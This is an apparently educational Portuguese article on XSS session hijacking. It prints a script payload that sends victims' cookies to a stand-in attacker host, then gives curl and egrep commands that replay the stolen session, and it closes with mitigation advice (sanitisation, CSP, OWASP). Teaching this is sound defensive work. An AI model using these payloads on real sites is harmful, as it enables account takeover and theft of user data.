O presente artigo tem como objetivo descrever tecnicamente o funcionamento de um ataque XSS (Cross Site Scripting), uma técnica amplamente usada para explorar vulnerabilidades em websites e obter informações sensíveis dos usuários, como cookies de sessão.

O que é XSS?

O XSS é uma técnica onde um invasor injeta scripts maliciosos em sites vulneráveis. Esses scripts são executados diretamente no navegador da vítima, utilizando os privilégios do usuário para roubar informações ou realizar ações não autorizadas. Um dos principais alvos desses ataques é a sessão ativa do usuário, o que permite ao atacante obter controle sobre as credenciais e informações sensíveis.

Cenário de Exemplo

Vamos adotar um cenário prático de um servidor web vulnerável (http://site.vulneravelXSS.net/) que foi comprometido por um script malicioso. O script foi injetado por um atacante com o objetivo de sequestrar cookies de sessão de qualquer usuário que acesse o site.

Fase 1: Acesso ao Site Vulnerável

A vítima acessa o site vulnerável e, ao clicar em um botão (imagem 1), executa um script que já foi injetado pelo atacante. Esse script malicioso, sem o conhecimento da vítima, rouba o cookie de sessão.

Fase 2: Execução do Script e Roubo de Cookie

O script injetado utiliza uma simples linha de código JavaScript para capturar o cookie da vítima e enviá-lo para um servidor controlado pelo atacante:

html
<script>document.location="http://servidor-remoto-atacante.net/cgi-bin/script.py?"+document.cookie</script>

Aqui, o comando document.cookie captura o cookie da sessão ativa do usuário e o envia para o servidor remoto do atacante via HTTP. Esse cookie pode conter informações essenciais, como o PHPSESSID, que identifica a sessão do usuário no site.

Fase 3: Uso do Cookie Sequestrado

De posse do cookie da vítima, o atacante pode realizar um login remoto no site vulnerável, assumindo a identidade da vítima sem precisar de sua senha. O atacante usa o comando curl no Linux para simular um acesso ao site com a sessão roubada:

curl -b "security=low:PHPSESSID=numerodophpsessid" --location "http://site.vulneravel.com/loja/" > login.html

Este comando envia o cookie roubado como se fosse da própria vítima, acessando a página protegida pelo login da vítima e salvando o conteúdo da página em um arquivo chamado login.html.

Fase 4: Identificação do Usuário Logado

Com o arquivo login.html salvo, o atacante pode verificar o nome do usuário logado na sessão sequestrada, utilizando o comando egrep para buscar informações como nome de usuário e nível de segurança:

egrep '{Username:|Security Level:}' login.html

Resumo do Ataque

  1. Acesso à página vulnerável: A vítima acessa um site que foi previamente infectado com um script malicioso.
  2. Execução do script malicioso: O script sequestra o cookie de sessão do usuário e o envia ao servidor do atacante.
  3. Uso do cookie: O atacante utiliza o cookie para assumir a identidade da vítima no site, acessando seus dados sensíveis.
  4. Conclusão do ataque: O atacante pode acessar ou modificar informações confidenciais sem que a vítima perceba.

Impacto de um Ataque XSS

Um ataque XSS é considerado uma vulnerabilidade de alto risco, pois todo o processo ocorre de maneira silenciosa, sem evidências visíveis para a vítima. Os danos podem incluir:

  • Roubo de identidade: O atacante pode roubar cookies de sessão, efetivamente se passando pela vítima e acessando informações confidenciais.
  • Execução de ações maliciosas: Além do sequestro de cookies, o script malicioso pode realizar outras ações, como modificar configurações da conta ou realizar transações fraudulentas.
  • Disseminação de malware: Em alguns casos, o XSS pode ser usado para disseminar malware ou direcionar a vítima para sites maliciosos.

Mitigação e Proteção

Para os administradores de sites, a proteção contra XSS envolve práticas fundamentais:

  • Sanitização e validação de entradas: É crucial validar todas as entradas de usuário, removendo ou escapando qualquer código potencialmente malicioso antes de exibi-lo.
  • CSP (Content Security Policy): Implementar políticas de segurança que limitem a execução de scripts não autorizados no site.
  • Escaneamento de vulnerabilidades: Realizar auditorias de segurança regulares, utilizando ferramentas que detectem vulnerabilidades em código JavaScript, PHP, .NET, ou qualquer outro framework utilizado no site.

Conclusão

O XSS é uma das vulnerabilidades mais perigosas para websites, podendo comprometer seriamente a segurança e a privacidade dos usuários. É essencial que desenvolvedores implementem práticas de codificação seguras e façam uso de ferramentas automatizadas de verificação para minimizar a exposição a esse tipo de ataque.

Para mais informações sobre vulnerabilidades web, consulte o guia OWASP Top 10, disponível em OWASP Top 10.